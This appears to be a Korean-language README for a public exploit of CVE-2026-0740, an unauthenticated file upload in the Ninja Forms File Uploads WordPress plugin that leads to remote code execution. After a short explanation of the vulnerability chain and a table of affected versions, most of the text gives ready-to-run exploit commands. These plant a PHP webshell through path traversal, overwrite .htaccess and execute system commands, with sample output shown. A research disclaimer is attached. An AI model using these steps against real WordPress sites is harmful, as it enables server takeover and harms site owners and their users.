
Ninja Forms File Uploads <= 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 RCE (CVE-2026-0740)
CVE-2026-0740에 대한 익스플로잇, 발견자: Selim Lanouar (whattheslime).
완전한 기술적 심층 분석은 Lexfo 블로그의 전체 기사를 참조하십시오.
이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다.
저자는 이 정보의 오용에 대해 책임을 지지 않습니다.
WordPress용 Ninja Forms - File Uploads 플러그인은 버전 3.3.26 이하의 모든 버전에서 인증되지 않은 임의 파일 업로드에 취약하여 원격 코드 실행으로 이어집니다.
이 취약점은 원래 버전 3.3.23에서 발견 및 보고되었습니다. 버전 3.3.24까지는 악용이 간단합니다(대상 파일 이름에 대한 검증 없음). 버전 3.3.25 및 3.3.26에서 연속적인 부분 패치가 도입되었지만, 문제는 버전 3.3.27에서만 완전히 해결되었습니다.
취약점 체인은 다음과 같습니다:
field_id로 nf_fu_get_new_nonce AJAX 액션을 통해 유효한 업로드 nonce를 획득합니다.nf_fu_upload 핸들러는 업로드된 파일의 확장자(예: image.jpg)를 검증하지만, 클라이언트가 POST 파라미터(image_jpg)를 통해 대상 파일 이름을 재정의할 수 있도록 허용합니다.move_uploaded_file()에 전달되어 임의의 확장자 및 경로 탐색(../)이 가능합니다.| 벡터 / 확장자 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
경로 탐색 (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
전체 확장자 표와 기술적 심층 분석은 전체 블로그 게시물을 참조하십시오.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
파일이 wp-content/uploads/ninja-forms/tmp/test.txt에 기록됩니다.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
파일이 wp-content/webshell.php에 기록됩니다.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)